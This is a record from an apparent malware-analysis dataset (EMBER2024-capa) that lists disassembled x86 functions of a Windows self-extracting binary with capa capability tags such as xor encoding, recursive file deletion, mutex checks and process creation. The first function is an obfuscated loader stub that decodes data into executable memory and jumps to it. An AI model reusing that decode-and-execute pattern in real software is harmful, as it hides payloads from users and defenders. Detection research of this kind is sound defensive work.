joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40672b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40673a
pop dword [ebp - 0x18]
mov eax, 0x40673a
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x7f666c2f
add dword [ebp - 0x28], 0xceebd91c
mov dword [ebp - 0x24], 0x1a928587
sub dword [ebp - 0x24], 0xe85f3942
mov dword [ebp - 0x20], 0x5e6afa9a
sub dword [ebp - 0x20], 0x121eb66c
mov dword [ebp - 0x1c], 0x65116f7b
sub dword [ebp - 0x1c], 0x65116f7b
lea eax, [ebp - 0x28]
push eax
mov eax, 0x7f7a9daa
add eax, 0x80c5e35a
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xb2fb932f
sub dword [ebp - 0x28], 0x3e8929d9
mov dword [ebp - 0x24], 0x899ea658
sub dword [ebp - 0x24], 0x483244e3
mov dword [ebp - 0x20], 0x7796bb34
sub dword [ebp - 0x20], 0x14274ec8
mov dword [ebp - 0x1c], 0x7848191
sub dword [ebp - 0x1c], 0x7848191
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x38545
push 0
call eax
mov ecx, 0x65cd18d6
sub ecx, 0x65cccd95
xor ebx, ebx
add ebx, eax
mov edx, 0xb944a95
sub edx, 0xb4d6695
add edx, dword [ebp - 0x18]
mov edi, 0x26152aaf
add edi, 0x9d5700e9
sub dword [ebp - 0x10], ebx
mov esi, dword [edx]
xor dword [ebp - 0x14], esi
add esi, edi
sub dword [ebp - 4], ecx
mov dword [ebx], esi
add ebx, 4
add edx, 4
loop 0x406854
add eax, 0xfcecde9b
add eax, 0x314413c
mov ebx, eax
add eax, 5
mov ecx, 0xb0be3cda
add ecx, 0x4f81c326
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x401041
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401059
test al, 0x10
je 0x401059
xor eax, eax
inc eax
jmp 0x40105b
xor eax, eax
ret 4

Function at 0x40105e
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
xor esi, esi
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, dword [ebp + 8]
cmp edi, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x401095
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
cmp dword [ebp + 0x10], eax
jbe 0x40109a
or eax, 0xffffffff
jmp 0x401101
push ebx
push esi
push esi
push dword [ebp + 0x10]
mov dword [ebp - 8], esi
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push esi
lea eax, [ebp - 4]
push eax
mov ebx, 0x100000
push ebx
mov esi, 0x4220a8
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_ReadFile]
jmp 0x4010ee
cmp dword [ebp - 4], 0
jbe 0x4010f4
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [ebp - 0x10]
add dword [ebp - 8], eax
push 0
lea eax, [ebp - 4]
push eax
push ebx
push esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x4010c4
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 8]
pop ebx
pop edi
pop esi
leave
ret

Function at 0x401105
Capabilities:
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
push edi
push edi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push edi
lea eax, [ebp - 4]
push eax
push 0x100000
push 0x4220a8
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x401151
cmp word [0x4220a8], 0x5a4d
jne 0x401151
mov ecx, dword [0x4220e4]
cmp dword [ecx + 0x4220a8], 0x4550
je 0x401156
or eax, 0xffffffff
jmp 0x401181
push esi
movzx esi, word [ecx + 0x4220ae]
xor eax, eax
cmp esi, edi
jle 0x401180
lea edx, [ecx + 0x4221b0]
mov ecx, dword [edx + 4]
add ecx, dword [edx]
cmp ecx, eax
jbe 0x401175
mov eax, ecx
add edx, 0x28
inc edi
movsx ecx, di
cmp ecx, esi
jl 0x40116a
pop esi
pop edi
leave
ret
Function at 0x401184
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x74]
push ebx
push eax
call fcn.00412a00
add esp, 0xc
lea eax, [ebp - 0x74]
push eax
mov dword [ebp - 0x74], esi
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
cmp dword [ebp + 0xc], ebx
mov esi, dword [ebp + 8]
je 0x4011d6
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
je 0x4011d6
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x41c364
push esi
call edi
push dword [ebp + 0xc]
push esi
call edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x401225
cmp dword [ebp + 0x10], ebx
mov dword [ebp + 0xc], ebx
je 0x401210
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea eax, [ebp + 0xc]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
mov eax, dword [ebp + 0xc]
jmp 0x401261
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x30], bl
lea edi, [ebp - 0x2f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
lea eax, [ebp - 0x30]
push 0x41c360
push eax
call fcn.0041299f
add esp, 0xc
push ebx
push esi
lea eax, [ebp - 0x30]
push eax
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 0x2719
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401389
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
push ebx
push esi
push edi
xor eax, eax
mov ecx, 0x82
lea edi, [ebp - 0x34b]
mov byte [ebp - 0x34c], 0
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 8]
test edi, edi
je 0x4014d0
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push edi
call esi
test eax, eax
jle 0x4014d0
push edi
call esi
mov esi, 0x209
cmp eax, esi
jbe 0x4013db
push 0x6f
pop eax
jmp 0x4014d3
push edi
push str._s.
lea eax, [ebp - 0x34c]
push esi
push eax
call fcn.00401362
and dword [ebp + 8], 0
add esp, 0x10
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4014cc
lea eax, [ebp - 0x114]
push 0x41c374
push eax
call fcn.00412ac0
test eax, eax
pop ecx
pop ecx
je 0x401490
lea eax, [ebp - 0x114]
push 0x41c370
push eax
call fcn.00412ac0
test eax, eax
pop ecx
pop ecx
je 0x401490
lea eax, [ebp - 0x114]
push eax
push edi
push str._s_s
lea eax, [ebp - 0x34c]
push esi
push eax
call fcn.00401362
add esp, 0x14
cmp dword [ebp - 0x140], 0x10
lea eax, [ebp - 0x34c]
jne 0x401477
push eax
call fcn.00401389
pop ecx
jmp 0x401490
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x140]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x4014b4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x12
jne 0x4014b4
mov dword [ebp + 8], 1
cmp dword [ebp + 8], 0
je 0x401414
push ebx
call dword [sym.imp.KERNEL32.DLL_FindClose]
push edi
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
xor eax, eax
jmp 0x4014d3
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4014d8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
push esi
call fcn.00401389
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
pop ecx
xor ebx, ebx
push esi
call edi
cmp eax, 0xffffffff
je 0x40150e
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
call fcn.00401389
inc ebx
cmp ebx, 0xa
pop ecx
jl 0x4014ee
push esi
call edi
inc eax
neg eax
pop edi
sbb eax, eax
pop esi
inc eax
pop ebx
ret
Function at 0x40151b
Capabilities:
Check if file exists
Create directory
Delete file
Get common file path
Get file attributes
Set file attributes

Disassembly:
push ebx
push ebp
push esi
push edi
mov esi, 0x5220b0
push esi
mov edi, 0x104
push edi
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
test eax, eax
jne 0x401542
push edi
push str.C:Temp
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
push esi
call fcn.00401041
mov ebp, dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
xor ebx, ebx
test eax, eax
jne 0x401563
push esi
call fcn.004012f9
pop ecx
push ebx
push esi
call ebp
test eax, eax
je 0x4015c2
push 0x5c
push esi
call fcn.004126f7
cmp eax, ebx
pop ecx
pop ecx
je 0x401578
cmp byte [eax + 1], bl
jne 0x401578
mov byte [eax], bl
push edi
push str.RsdSfxTmp
push esi
call fcn.00412627
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4015ad
push esi
call fcn.00401389
pop ecx
push 0x80
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push esi
call fcn.004012f9
pop ecx
push ebx
push esi
call ebp
push esi
call fcn.00401041
test eax, eax
jne 0x4015d9
cmp dword [esp + 0x14], ebx
jne 0x4015d5
push 0x10
push 9
push ebx
call fcn.00401266
add esp, 0xc
xor eax, eax
jmp 0x4015dc
xor eax, eax
inc eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x401c94
Capabilities:
Accept command line arguments
Check mutex on windows

Disassembly:
mov eax, dword [esp + 4]
push str.E5C53971_D80E_4500_BE0D_761BF3CD8457
push 1
push 0
mov dword [0x5222bc], eax
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [0x5222d4], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x401ce0
push dword [0x5222d4]
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push dword [0x5222d4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 0x2711
jmp 0x401dfd
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov esi, 0x41c434
lea edi, [esp + 0x14]
movsw word es:[edi], word [esi]
lea ecx, [esp + 0x14]
push ecx
push eax
movsb byte es:[edi], byte [esi]
call section..text
mov edi, eax
test edi, edi
pop ecx
pop ecx
je 0x401de3
lea eax, [edi - 1]
mov dword [0x5222c0], eax
mov ebp, 0x41c430
mov ebx, 0x5221b8
mov esi, str.SILENT
push esi
call fcn.0041295a
push eax
push esi
push edi
call fcn.00412814
add esp, 0x10
test eax, eax
je 0x401dc2
mov esi, str.SILENCE
push esi
call fcn.0041295a
push eax
push esi
push edi
call fcn.00412814
add esp, 0x10
test eax, eax
je 0x401dc2
push ebp
call fcn.0041295a
push eax
push ebp
push edi
call fcn.00412814
add esp, 0x10
test eax, eax
jne 0x401dcc
push ebp
call fcn.0041295a
mov esi, eax
add esi, edi
mov al, byte [esi]
cmp al, 0x27
pop ecx
je 0x401d99
cmp al, 0x22
je 0x401d99
push 0x20
push esi
call fcn.004125ac
test eax, eax
pop ecx
pop ecx
jne 0x401daa
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
jmp 0x401db6
movsx eax, al
push eax
inc esi
push esi
call fcn.004125ac
test eax, eax
pop ecx
pop ecx
je 0x401e00
sub eax, esi
inc eax
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
mov dword [0x5222cc], 1
jmp 0x401dcc
mov dword [0x5222c8], 1
lea eax, [esp + 0x14]
push eax
push edi
call section..text
mov edi, eax
test edi, edi
pop ecx
pop ecx
jne 0x401d1f
push 0
mov dword [0x5222c8], 1
call fcn.004015e1
mov eax, dword [0x5222d8]
pop edi
pop esi
pop ebp
pop ebx
ret 0x10
mov eax, 0x271a
jmp 0x401df9
Function at 0x404b2d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
mov ecx, dword [ebp + 0xc]
xor eax, eax
and edx, 7
cmp ecx, 5
jae 0x404b46
leave
ret
add dword [ebp + 0x10], 5
or dword [ebp + 0xc], 0xffffffff
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea ecx, [edi + ecx - 4]
mov dword [ebp - 4], ecx
lea esi, [eax + edi]
jmp 0x404b69
mov al, byte [esi]
and al, 0xfe
cmp al, 0xe8
je 0x404b6e
inc esi
cmp esi, dword [ebp - 4]
jb 0x404b60
mov eax, esi
sub eax, edi
cmp esi, dword [ebp - 4]
mov dword [ebp - 8], eax
jae 0x404c62
mov ecx, eax
sub ecx, dword [ebp + 0xc]
cmp ecx, 3
jbe 0x404ba4
xor edx, edx
mov cl, byte [esi + 4]
test cl, cl
mov dword [ebp + 0xc], eax
je 0x404bd1
cmp cl, 0xff
je 0x404bd1
and edx, 3
shl edx, 1
or edx, 1
inc eax
jmp 0x404b5b
dec ecx
shl edx, cl
and edx, 7
je 0x404b8a
movzx ecx, byte [edx + 0x41c830]
mov ebx, esi
sub ebx, ecx
cmp byte [edx + 0x41c828], 0
mov cl, byte [ebx + 4]
je 0x404bcc
test cl, cl
je 0x404bcc
cmp cl, 0xff
jne 0x404b8a
mov dword [ebp + 0xc], eax
jmp 0x404b99
xor ebx, ebx
mov bh, cl
movzx ecx, byte [esi + 2]
mov bl, byte [esi + 3]
shl ebx, 8
or ebx, ecx
movzx ecx, byte [esi + 1]
shl ebx, 8
or ebx, ecx
mov edi, ebx
cmp dword [ebp + 0x18], 0
je 0x404bfa
lea ebx, [edi + eax]
add ebx, dword [ebp + 0x10]
jmp 0x404c01
sub edi, eax
sub edi, dword [ebp + 0x10]
mov ebx, edi
test edx, edx
je 0x404c35
movzx edi, byte [edx + 0x41c830]
push 0x18
shl edi, 3
pop ecx
sub ecx, edi
mov eax, ebx
shr eax, cl
test al, al
je 0x404c20
cmp al, 0xff
jne 0x404c32
mov eax, dword [ebp - 8]
push 0x20
pop ecx
sub ecx, edi
xor edi, edi
inc edi
shl edi, cl
dec edi
xor edi, ebx
jmp 0x404bec
mov eax, dword [ebp - 8]
mov edi, dword [ebp + 8]
mov ecx, ebx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [esi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [esi + 3], cl
mov ecx, ebx
shr ecx, 8
mov byte [esi + 2], cl
mov byte [esi + 1], bl
add eax, 5
jmp 0x404b5b
mov esi, eax
sub esi, dword [ebp + 0xc]
push 3
lea ecx, [esi - 1]
shl edx, cl
pop edi
and edx, 7
cmp edi, esi
sbb ecx, ecx
not ecx
pop edi
and ecx, edx
mov edx, dword [ebp + 0x14]
pop esi
mov dword [edx], ecx
pop ebx
leave
ret

Function at 0x4087ea
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x5223a0], 0
jne 0x408824
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.004082c7
mov eax, dword [eax]
pop ecx
pop ecx
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.004084f2
pop ecx
test esi, esi
pop esi
jmp 0x408832
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
test eax, eax
je 0x408838
mov al, 1
leave
ret
xor al, al
leave
ret
Function at 0x40883c
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x5223a0], 0
jne 0x408875
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.004082c7
mov eax, dword [eax]
pop ecx
pop ecx
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.004084f2
pop ecx
test esi, esi
pop esi
jmp 0x408882
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test eax, eax
je 0x408888
mov al, 1
leave
ret
xor al, al
leave
ret

Function at 0x408e22
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x408e48
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
je 0x408e48
xor al, al
jmp 0x408e68
push 1
push 0
push 0
push dword [ebp - 4]
call fcn.004131e0
mov ecx, eax
xor eax, eax
add ecx, esi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4

Function at 0x413d1f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, dword [ebp + 0x10]
xor ebx, ebx
test edi, edi
jne 0x413d3c
call fcn.00417202
mov dword [eax], 0x16
xor eax, eax
jmp 0x413da6
push esi
push 0x8c
push 1
call fcn.00417287
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x413d91
push esi
call fcn.004148d3
mov eax, dword [ebp + 0x14]
or dword [esi + 4], 0xffffffff
mov dword [esi + 0x50], eax
mov eax, dword [ebp + 0x1c]
test eax, eax
pop ecx
mov dword [esi + 0x4c], edi
jne 0x413d6f
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x18]
push esi
push 0x413c8a
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateThread]
test eax, eax
jne 0x413da5
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
push esi
call fcn.0041397d
test ebx, ebx
pop ecx
je 0x413da3
push ebx
call fcn.00417214
pop ecx
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x414174
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x41cfe0
call fcn.00413dac
mov edi, 0x94
mov eax, edi
call fcn.00417e90
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x522668], ecx
mov eax, dword [esi + 4]
mov dword [0x522674], eax
mov edx, dword [esi + 8]
mov dword [0x522678], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x52266c], esi
cmp ecx, 2
je 0x4141d4
or esi, 0x8000
mov dword [0x52266c], esi
shl eax, 8
add eax, edx
mov dword [0x522670], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x41420f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41420f
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x414227
cmp eax, 0x20b
je 0x414214
mov dword [ebp - 0x1c], esi
jmp 0x41423b
cmp dword [ecx + 0x84], 0xe
jbe 0x41420f
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x414235
cmp dword [ecx + 0x74], 0xe
jbe 0x41420f
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.00416348
pop ecx
test eax, eax
jne 0x41424f
push 0x1c
call fcn.00414150
pop ecx
call fcn.00414acd
test eax, eax
jne 0x414260
push 0x10
call fcn.00414150
pop ecx
call fcn.00417e00
mov dword [ebp - 4], esi
call fcn.00417c02
test eax, eax
jge 0x414279
push 0x1b
call fcn.0041412b
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x525d60], eax
call fcn.00417ae0
mov dword [0x5224e8], eax
call fcn.00417a3e
test eax, eax
jge 0x41429f
push 8
call fcn.0041412b
pop ecx
call fcn.0041780b
test eax, eax
jge 0x4142b0
push 9
call fcn.0041412b
pop ecx
push 1
call fcn.00416f31
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x4142c6
push eax
call fcn.0041412b
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
call fcn.004177ae
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x4142e7
movzx eax, word [ebp - 0x40]
jmp 0x4142ea
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.00401c94
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x414308
push edi
call fcn.0041705e
call fcn.00417080
jmp 0x41433a
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00413de7
ret
Function at 0x416f9b
Capabilities:
Terminate process

Disassembly:
push 8
push 0x41d168
call fcn.00413dac
push 8
call fcn.0041628f
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x5226a8], esi
jne 0x416fcf
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov dword [0x5226a4], esi
mov al, byte [ebp + 0x10]
mov byte [0x5226a0], al
cmp dword [ebp + 0xc], edi
jne 0x417019
cmp dword [0x525ae8], edi
je 0x417009
mov eax, dword [0x525ae4]
sub eax, 4
mov dword [0x525ae4], eax
cmp eax, dword [0x525ae8]
jb 0x417009
mov eax, dword [eax]
cmp eax, edi
je 0x416fea
call eax
jmp 0x416fea
push 0x421060
mov eax, 0x421058
call fcn.00416f19
pop ecx
push 0x42106c
mov eax, 0x421064
call fcn.00416f19
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x41704a
cmp dword [ebp + 0x10], edi
jne 0x417058
mov dword [0x5226a8], esi
push dword [ebp + 8]
call fcn.00416ed7
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x417057
push 8
call fcn.004161da
pop ecx
ret
call fcn.00413de7
ret
Function at 0x41735e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x41738c
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x417393
cmp ebx, dword [eax + 4]
jae 0x417393
xor eax, eax
jmp 0x417583
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x4173a4
xor eax, eax
inc eax
jmp 0x417582
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x4173ba
cmp ecx, edx
jae 0x4174ff
cmp dword [eax + 4], 0
je 0x4173c3
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x4173ab
cmp dword [ebp + 8], 0
je 0x4173e5
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x4174ff
cmp eax, esi
jae 0x4174ff
mov eax, dword [0x5226b0]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x41740a
cmp dword [esi*4 + 0x5226b8], edi
je 0x417503
inc esi
cmp esi, eax
jl 0x4173f8
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x41757f
cmp dword [ebp - 8], 0x1000000
jne 0x41757f
test byte [ebp - 0xc], 0xcc
je 0x417488
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x41757f
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x41757f
cmp word [eax + 0x18], 0x10b
jne 0x41757f
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x41757f
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x417488
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x417488
test byte [ecx + 0x27], 0x80
jne 0x4174ff
push 1
push 0x5226f8
call dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
test eax, eax
jne 0x41739c
mov ecx, dword [0x5226b0]
test ecx, ecx
mov edx, ecx
jle 0x4174bc
lea eax, [ecx*4 + 0x5226b4]
cmp dword [eax], edi
je 0x4174bc
dec edx
sub eax, 4
test edx, edx
jg 0x4174b0
test edx, edx
jne 0x4174ed
push 0xf
pop ebx
cmp ecx, ebx
jg 0x4174c9
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x4174e1
lea eax, [edx*4 + 0x5226b8]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x4174cf
cmp ecx, 0x10
jge 0x4174ed
inc ecx
mov dword [0x5226b0], ecx
push 0
push 0x5226f8
call dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
jmp 0x41739c
xor eax, eax
jmp 0x417582
test esi, esi
jle 0x41739c
mov ebx, dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
push 1
push 0x5226f8
call ebx
test eax, eax
jne 0x41739c
cmp dword [esi*4 + 0x5226b8], edi
je 0x417559
mov eax, dword [0x5226b0]
lea esi, [eax - 1]
test esi, esi
jl 0x417547
cmp dword [esi*4 + 0x5226b8], edi
je 0x417543
dec esi
jns 0x417537
test esi, esi
jge 0x417557
cmp eax, 0x10
jge 0x417552
inc eax
mov dword [0x5226b0], eax
lea esi, [eax - 1]
jmp 0x417559
je 0x417571
xor ecx, ecx
test esi, esi
jl 0x417571
lea eax, [ecx*4 + 0x5226b8]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x41755f
push 0
push 0x5226f8
call ebx
jmp 0x41739c
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret